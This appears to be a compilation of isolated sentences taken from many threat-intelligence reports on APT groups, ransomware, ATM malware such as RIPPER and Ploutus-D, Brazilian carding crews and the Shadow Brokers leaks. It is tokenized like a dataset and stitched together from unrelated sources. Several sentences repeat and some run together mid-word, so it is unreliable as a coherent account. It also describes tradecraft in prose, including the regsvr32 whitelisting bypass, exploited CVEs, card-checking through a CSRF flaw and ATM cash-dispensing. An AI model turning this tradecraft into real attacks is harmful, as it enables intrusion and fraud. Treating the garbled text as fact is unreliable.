For our M-Trends 2017 report , we took a look at the incidents we investigated last year and provided a global and regional (the Americas , APAC and EMEA) analysis focused on attack trends , and defensive and emerging trends .
As we noted in M-Trends 2016 , Mandiant’s Red Team can obtain access to domain administrator credentials within roughly three days of gaining initial access to an environment , so 99 days is still 96 days too long .
On top of our analysis of recent trends , M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year .
In Figure 1 , which is based on FireEye Dynamic threat Intelligence (DTI) reports shared in March 2017 , we can see the regions affected by Magnitude EK activity during the last three months of 2016 and the first three months of 2017 .
Magnitude EK activity then fell off the radar until Oct. 15 , 2017 , when it came back and began focusing solely on South Korea .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
Throughout the final quarter of 2016 and first month of 2017 , FireEye Dynamic Threat Intelligence (DTI) observed consistent Magnitude EK hits from several customers , the majority of whom reside in the APAC region .
In January 2017 , new domain names appeared in the campaign hosted on a different IP location .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
This trend continued until late September 2017 , when we saw Magnitude EK focus primarily on the APAC region , with a large chunk targeting South Korea .
These ransomware payloads only seem to target Korean systems , since they won’t execute if the system language is not Korean .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
In our Revoke-Obfuscation white paper ,first presented at Black Hat USA 2017 , we provide background on obfuscated PowerShell attacks seen in the wild , as well as defensive mitigation and logging best practices .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD (via Bitcoin) to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We recently observed a resurgence of the same phishing campaign when our systems detected roughly 90 phony Apple-like domains that were registered from July 2016 to September 2016 .
In this blog we provide insight into the tactics , techniques and procedures (TTPs) of a Brazilian cyber crime group that specializes in payment card fraud operations .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Once in their possession , the actors use these compromised payment card credentials to generate further card information .
The members of the group use a variety of tools , including CCleaner , on a daily basis to effectively remove any evidence of their operations .
Another common step taken by threat actors is changing their system's MAC Address to avoid being uniquely identified .
For this purpose , these actors often use tools such as Technitium MAC Address Changer .
We have observed these actors using Tor or proxy-based tools similar to Tor (e.g , UltraSurf , as seen in Figure 2) .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Based on our observations , this group uses a variety of different methods to either compromise or acquire already compromised payment card credentials .
Payment card dumps are commonly shared amongst Brazilian threat actors via social media forums such as Facebook , Skype , and web-based WhatsApp messenger .
Similarly , the group takes advantage of freely available consolidations of email credentials , personal information , and other data shared in eCrime forums for fraud purposes .
These actors scan websites for vulnerabilities to exploit to illicitly access databases .
They most commonly target Brazilian merchants , though others use the same tactics to exploit entities outside Brazil .
The group also uses the SQL injection (SQLi) tools Havij Advanced SQL Injection Tool and SQLi Dumper version 7.0 (Figure 4) to scan for and exploit vulnerabilities in targeted eCommerce sites .
At least eight sellers update the website as frequently as daily , offering newly obtained databases from the U.S .
Once in possession of compromised payment card credentials , these actors use tools commonly known as card generators to generate new card numbers based on the compromised ones , creating additional opportunities for monetization .
One bulk card-checking tool this group uses is Testador Amazon.com v1.1 (Figureits name , this tool does not use Amazon’s website , but exploits an unauthenticated Cross-Site Request Forgery (CSRF) vulnerability of a merchant website allowing the abuse of PayPal Payflow link functionality (Figure 9) .
Based on our observations of interactions in this channel , between May 2016 and June 2016 , malicious actors validated 2 , 987 cards from 62 countries , with the most coming from the U.S. (nearly half) , Brazil , and France .
The actors frequently use the stolen data to create cloned physical cards , which they use to attempt to withdraw funds from ATMs .
The group primarily uses the MSR 606 Software (Figure 12) and Hardware (Figure 13) to create cloned cards .
However , Brazilian actors commonly use several methods to do so , such as reselling cards they have created , paying bills with stolen cards in return for a portion of the bill's value and reselling illicitly obtained goods .
Some attacker tools were used to almost exclusively target organizations within APAC .
In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information .
The individuals using Hancitor malware also known by the name Chanitor are no exception and have taken three approaches to deliver the malware in order to ultimately steal data from their victims .
We recently observed Hancitor attacks against some of our FireEye Exploit Guard customers .
The group has performed these activities at multiple locations across Brazil , possibly using multiple mules .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER (due to the project name ATMRIPPER” identified in the sample) and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
Finally , Mandiant’s Devon Kerr and John Miller of FireEye iSIGHT Intelligence will expose the tactics of FIN7 , a financially motivated hacker group that FireEye tracked throughout 2016 .
In mid-November , Mandiant , a FireEye company , responded to the first Shamoon 2.0 incident against an organization located in the Gulf states .
These attackers can potentially grab sensitive online banking information and other personal data , and even provided support for multifactor authentication and OTP .
FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns .
Our visibility into APT28’s operations , which date to at least 2007 , has allowed us to understand the group’s malware , operational changes and motivations .
This intelligence has been critical to protecting and informing our clients , exposing this threat and strengthening our confidence in attributing APT28 to the Russian government .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listenTherefore , the Stuxnet MOF file creation tool that the Shadow Brokers dropped on Friday is possibly the earliest technical evidence that NSA hackers and developers coded Stuxnet , as many suspect .
Of course , it 's also possible that whatever group The Shadow Brokers have exposed simply gained access to the Stuxnet tools secondhand , and reused them .
That post included download links for a slew of NSA hacking tools and exploits , many of which could be used to break into hardware firewall appliances , and in turn , corporate or government networks .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines .
The FuzzBunch and DanderSpritz frameworks are designed to be flexible and to extend functionality and compatibility with other tools .
Each of them consists of a set of plugins designed for different tasks : while FuzzBunch plugins are responsible for reconnaissance and attacking a victim , plugins in the DanderSpritz framework are developed for managing already infected victims .
The leaked NSA documents and tools published in recent months by the mysterious Shadow Brokers group have provided rare insight into the clandestine digital espionage operations pursued by the spy agency over the past few years , including information on operations aimed at Iran and Russia .
Yet the document cache published April 8 provides evidence that the NSA had once launched a series of successful computer-based intrusions against multiple high-profile foreign targets , including the Office of the President of Iran and the Russian Federal Nuclear Center .
The ShadowBrokers' latest dump of Equation Group hacks focuses on UNIX systems and GSM networks , and was accompanied by an open letter to President Trump .
Numerous Windows hacking tools are also among the new batch of files the Shadow Brokers dumped Friday .
The leaked files show the NSA was allegedly targeting EastNets in Dubai , Belgium , and Egypt .
The files appear to include logs from 2013 that show the NSA was also targeting oil and investment companies across the Middle East .
According to Kaspersky , the Equation Group has more than 60 members and has been operating since at least 2001 .
The existence of the Equation Group was first posited in Feb. 2015 by researchers at Russian security firm Kaspersky Lab , which described it as one of the most sophisticated cyber attack teams in the world .
Most of the Equation Group 's targets have been in Iran , Russia , Pakistan , Afghanistan , India , Syria , and Mali .
According to Wikipedia , the CSS was formed in 1972 to integrate the NSA and the Service Cryptologic Elements ( SCE ) of the U.S armed forces .
KrebsOnSecurity was first made aware of the metadata in the Shadow Brokers leak by Mike Poor , Rob Curtinseufert , and Larry Pesce .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The ShadowBrokers is a group of hackers known for leaking exclusive information about the National Security Agency – NSA 's hacking tools and tactics .
It captures information using plugins to compromise webcam and microphone output along with documenting log keystrokes , carrying out surveillance and access external drives .
UNITEDRAKE is described as a " fully extensible " data collection tool that is specifically developed for Windows machines to allow operators the chance of controlling a device completely .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
This turned out to be a malicious loader internally named ' Slingshot ' , part of a new , and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
To run its code in kernel mode in the most recent versions of operating systems , that have Driver Signature Enforcement , Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities .
During our research we also found a component called KPWS that turned out to be another downloader for Slingshot components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
So far , researchers have seen around 100 victims of Slingshot and its related modules , located in Kenya , Yemen , Afghanistan , Libya , Congo , Jordan , Turkey , Iraq , Sudan , Somalia and Tanzania .
Some of the techniques used by Slingshot , such as the exploitation of legitimate , yet vulnerable drivers has been seen before in other malware , such as White and Grey Lambert .
Cylance tracks this threat group internally as ' Snake Wine ' .
To date , all observed Snake Wine 's attacks were the result of spear phishing attempts against the victim organizations .
The Ham Backdoor functions primarily as a modular platform , which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control ( C2 ) server .
Based upon Cylance 's observations , the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor .
This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan .
The group was first publicly disclosed by FireEye in this report .
MenuPass is a well-documented CN-APT group , whose roots go back to 2009 .
Snake Wine was first publicly disclosed by FireEye in this report .
Although the MenuPass Group used mostly publicly available RATs , they were successful in penetrating a number of high value targets , so it is entirely possible this is indeed a continuation of past activity .
Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28 .
Germany 's Der Spiegel re-published the slide set with far less deletions recently , in January 2015 , and therefore gave a deeper insight about what CSEC actually says they have tracked down .
According to slide 22 , " CSEC assesses , with moderate certainty , SNOWGLOBE to be a state-sponsored Cyber Network Operation effort , put forth by a French intelligence agency " .
The information given dates back to 2011 and nothing else has been published since .
Now that specific Babar samples have been identified and analyzed , there might be new information , also with regards to similarities or differences between the two Remote Administration Tools ( RATs ) EvilBunny and Babar .
We recommend reading Marion 's report " Shooting Elephants " , a complementary piece of work regarding the Babar malware .
And finally , as every elephant , Babar has big ears and the malware is able to listen to conversations and log them by using the dsound and winmm libraries .
The G DATA SecurityLabs are convinced that the number of similarities identified between EvilBunny and Babar show that both malware families originate from the same developers .
TA542 , the primary actor behind Emotet , is known for the development of lures and malicious mail specific to given regions .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
Emotet is a type of general-purpose malware that evolved from a well-known banking Trojan , " Cridex " , which was first discovered in 2014 .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
Emotet activity in 2019 included several high-volume campaigns that collectively distributed tens of millions of messages primarily targeting the manufacturing and healthcare industries .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
DanaBot is a Trojan that includes banking site web injections and stealer functions .
Proofpoint researchers observed one DanaBot affiliate ( Affid 11 ) specifically targeting Canada with " Canada Post " themed lures between January 1 and May 1 , 2019 .
FormBook is a browser form stealer/keylogger that is under active development .
While Canada-targeted threats are not new , Emotet in particular , with its frequent region-specific email campaigns , is bringing new attention to geo-targeting in Canada and beyond .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo .
After a 10 month hiatus , MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects , it is currently acting as a ' loader ' delivering other malware packages .
The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot .
It seems that the main objective of the attackers was information gathering from the infected computers .
For the TeamViewer-based activities , we have traces in the past until September 2012 .
In the actual targeted attack detected by the Hungarian National Security Agency , TeamSpy used components of the TeamViewer tool combined with other malware modules .
In the actual targeted attack detected by the Hungarian National Security Agency , they used components of the TeamViewer tool combined with other malware modules .
TeamViewer has also been used in the " Sheldor " attack campaign , which was detected between 2010 and 2011 , and which resulted in assets stolen at the value of $600k and $832k .
This match shows a direct relationship between Sheldor and TeamSpy , although we do not known if the connection is only at the tool level or at the operation level too .
Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM , following our internal practice of assigning rogue actors chemical element names .
From the samples we collected , we can conclude that the same threat actor produced many individual malware modules during the last ten years .
Once TERBIUM has a foothold in the organization , its infection chain starts by writing an executable file to disk that contains all the components required to carry out the data-wiping operation .
Microsoft Threat Intelligence has observed that the malware used by TERBIUM , dubbed " Depriz " by Microsoft , reuses several components and techniques seen in the 2012 attacks , and has been highly customized for each targeted organization .
Note : TERBIUM establishes a foothold throughout the organization and does not proceed with the destructive wiping operation until a specific date/time : November 17 , 2016 at 8:45 p.m .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
We initially reported on this threat group and their UPDATESEE malware in our FireEye Intelligence Center in February 2016 .
We initially reported on Transparent Tribe and their UPDATESEE malware in our FireEye Intelligence Center in February 2016 .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
In this latest incident , Transparent Tribe registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
This exploit file made use of the same shellcode that we have observed  Transparent Tribe use across a number of spear phishing incidents .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
The May 2018 adversary spotlight is on MYTHIC LEOPARD , a Pakistan-based adversary with operations likely located in Karachi .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
The CrowdStrike Falcon Intelligence™ team 's tracking of MYTHIC LEOPARD began in late 2016 , when evidence of an attack surfaced against a victim based in India and working in the hospitality sector .
Two binder tools — used to disguise custom executables as legitimate Microsoft implants — were discovered by Falcon Intelligence and linked to MYTHIC LEOPARD in July 2017 .
Falcon Intelligence has observed MYTHIC LEOPARD using this technique for several years to install multiple first-stage implants and downloaders , including the isqlmanager and Waizsar RAT malware families .
Patchwork also uses the Delphi file stealer as a similarity with Urpage , which suggests the three groups are somehow related .
Patchwork has also recently employed Android malware in its attacks , with its use of a customized version of AndroRAT .
Trend Micro 's Mobile App Reputation Service ( MARS ) covers Android and iOS threats using leading sandbox and machine learning technologies .
Symantec researchers have discovered that this attack group , which we call Whitefly , has been operating since at least 2017 , has targeted organizations based mostly in Singapore across a wide variety of sectors , and is primarily interested in stealing large amounts of sensitive information .
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics , such as malicious PowerShell scripts .
From mid-2017 to mid-2018 , Whitefly launched targeted attacks against multiple organizations .
While most of these organizations were based in Singapore , some were multinational organizations with a presence in Singapore .
To date , Whitefly has attacked organizations in the healthcare , media , telecommunications , and engineering sectors .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
If opened , the dropper runs a loader known as Trojan.Vcrodat on the computer .
Whitefly has consistently used a technique known as search order hijacking to run Vcrodat .
Once executed , Vcrodat loads an encrypted payload on to the victim 's computer .
Whitefly rely heavily on tools such as Mimikatz to obtain credentials .
Using these credentials , the attackers are able to compromise more machines on the network and , from those machines , again obtain more credentials .
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Like Vcrodat , Nibatad is also a loader that leverages search order hijacking , and downloads an encrypted payload to the infected computer .
Why Whitefly uses these two different loaders in some of its attacks remains unknown .
While Vcrodat is delivered via the malicious dropper , we have yet to discover how Nibatad is delivered to the infected computer .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
In another case , Vcrodat was also used in an attack on a UK-based organization in the hospitality sector .
Whitefly is a highly adept group with a large arsenal of tools at its disposal , capable of penetrating targeted organizations and maintaining a long-term presence on their networks .
WICKED PANDA has also targeted chemical and think tank sectors around the world .
The WICKED PANDA adversary makes use of a number of open-source and custom tools to infect and move laterally in victim networks .
WICKED PANDA refers to the targeted intrusion operations of the actor publicly known as " Winnti " , whereas WICKED SPIDER represents this group 's financially-motivated criminal activity .
WICKED SPIDER has been observed targeting technology companies in Germany , Indonesia , the Russian Federation , South Korea , Sweden , Thailand , Turkey , the United States , and elsewhere .
Subsequently , two additional articles ( here and here ) were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems .
Pivoting on specific file attributes and infrastructure indicators , Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency .
The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency .
The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware .
Whitefly configures multiple C&C domains for each target .
In some attacks , Whitefly has used a second piece of custom malware , Trojan.Nibatad .
LUNAR SPIDER had already introduced BokBot to the criminal market at the time Neverquest operations ceased , suggesting that the malware change may have been planned .
Its origins can be traced back to the Storm Worm , a botnet that emerged in 2007 and was one of the earliest criminal malware infrastructures to leverage peer-to-peer technology .
After the demise of Storm , it was replaced by another new botnet known as Waledac that also leveraged peer-to-peer communications .
Although BokBot has aided the distribution of TrickBot since 2017 , the development of custom TrickBot modules for the specific campaign has not been observed before .
Kelihos , like many others , implemented a sophisticated spam engine that automatically constructs spam messages from templates and additional inputs to avoid any patterns that can be used in filters .
A second attack that targeted the host 154.46.32.129 started on March 14 , 2017 at 14:44:42 GMT .
As shown within the timeline above , the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018 .
With the Kelihos spam botnet no longer in operation and Levashov behind bars , multiple criminal operators turned to different spam botnets to distribute their crimeware .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
The first attack occurred in early January of 2018 with an inbound WINDTAIL sample ( the backdoor family used by WINDSHIFT ) originating from the remote IP address 109.235.51.110 to a single internal IP address within the government agency .
Unit 42 assesses with high confidence that both the IP address 185.25.50.189 and the domain domforworld.com is associated with WINDSHIFT activity .
The CrowdStrike Falcon Intelligence team , which had been tracking Levashov as the adversary called ZOMBIE SPIDER , was able to help law enforcement seize control of the Kelihos botnet so that it could no longer be used by criminal actors .
Over the past few years , Animal Farm has targeted a wide range of global organizations .
The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007 .
Over the years Kaspersky is tracked multiple campaigns by the Animal Farm group .
Most recently , Animal Farm deployed the Casper Trojan via a watering-hole attack in Syria .
A full description of this zero-day attack can be found in this blog post by Kaspersky Lab 's Vyacheslav Zakorzhevsky .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
The malware known as Tafacalou ( aka " TFC " , " Transporter " ) is perhaps of greatest interest here , because it acts as an entry point for the more sophisticated spy platforms Babar and Dino .
Based on the Tafacalou infection logs , we observed that most of the victims are in the following countries : Syria , Iran , Malaysia , USA , China , Turkey , Netherlands , Germany , Great Britain , Russia , Sweden , Austria , Algeria , Israel , Iraq , Morocco , New Zealand , Ukraine .
In 2013 , both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations .
In October 2017 , AhnLab published a report called " Operation Bitter Biscuit " , an attack campaign against South Korea , Japan , India and Russia using Bisonal and its successors , Bioazih and Dexbia .
We observed all these characteristics in the Bisonal 's attacks against both Russia and South Korea .
We observed all these characteristics in the Bisonal 's attacks against both Russia and South Korea .
The biggest number of Orangeworm 's victims are located in the U.S. , accounting for 17 percent of the infection rate by region .
In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
Also , some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
The malware then uses WebDAV to upload the RAR archive to a Box account .
The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
This threat group uses a first-stage malware known as Backdoor.APT.Pgift ( aka Troj/ReRol.A ) , which is dropped via malicious documents and connects back to a C2 server .
Backdoor.APT.PittyTiger1.3 ( aka CT RAT ) – This malware is likely used as a second-stage backdoor .
We have observed the Enfal malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
In one case from 2013 , the target was sent a malicious document through a spear phishing email message .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK 's Redirection Library API ( imrsdk.dll ) .
The two executables related to Hermes are bitsran.exe and RSW7B37.tmp .
Proofpoint researchers have observed a well-known Russian-speaking APT actor usually referred to as Turla using a new .NET/MSIL dropper for an existing backdoor called JS/KopiLuwak .
However , over the last nine campaigns since Trend Micro‘s June report , TA505 also started using .ISO image attachments as the point of entry , as well as a .NET downloader , a new style for macro delivery , a newer version of ServHelper , and a .DLL variant of FlawedAmmyy downloader .
The first part of the campaign From Jan. 23 , 2018 , to Feb. 26 , 2018 used a macro-based document that dropped a VBS file and an INI file .
The INI file contains the Base64 encoded PowerShell command , which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe .
cmstp.exe system restart , cmstp.exe will be used to execute the SCT file indirectly through the INF file .
The following are the three files:Defender.sct – The malicious JavaScript based scriptlet file .
After all network derived IPs have been processed , the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
This file is decrypted and injected into an instance of InstallUtiil.exe , and functions as a Tor anonymizer .
Along with the executable , two binary files , inject.bin (malicious function code) and imain.bin (malicious control logic) , were deployed as the controller’s payload .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
During our investigation into the activity , FireEye identified a direct overlap between BADRABBIT redirect sites and sites hosting a profiler we’ve been tracking as BACKSWING .
Incident Background Beginning on Oct. 24 at 08:00 UTC , FireEye detected and blocked attempts to infect multiple clients with a drive-by download masquerading as a Flash Update (install_flash_player.exe) that delivered a wormable variant of ransomware .
Figure 3: BACKSWING Version 2Version 1:FireEye observed the first version of BACKSWING in late 2016 on websites belonging to a Czech Republic hospitality organization in addition to a government website in Montenegro .
While FireEye has not directly observed BACKSWING delivering BADRABBIT , BACKSWING was observed on multiple websites that were seen referring FireEye customers to 1dnscontrol.com , which hosted the BADRABBIT dropper .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
Like EternalPetya , infpub.dat determines if a specific file exists on the system and will exit if found .
This entry was posted on Mon Dec 04 12:00 EST 2017 and filed under Code , Reverse Engineering , Nick Harbour , and Incident Response .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
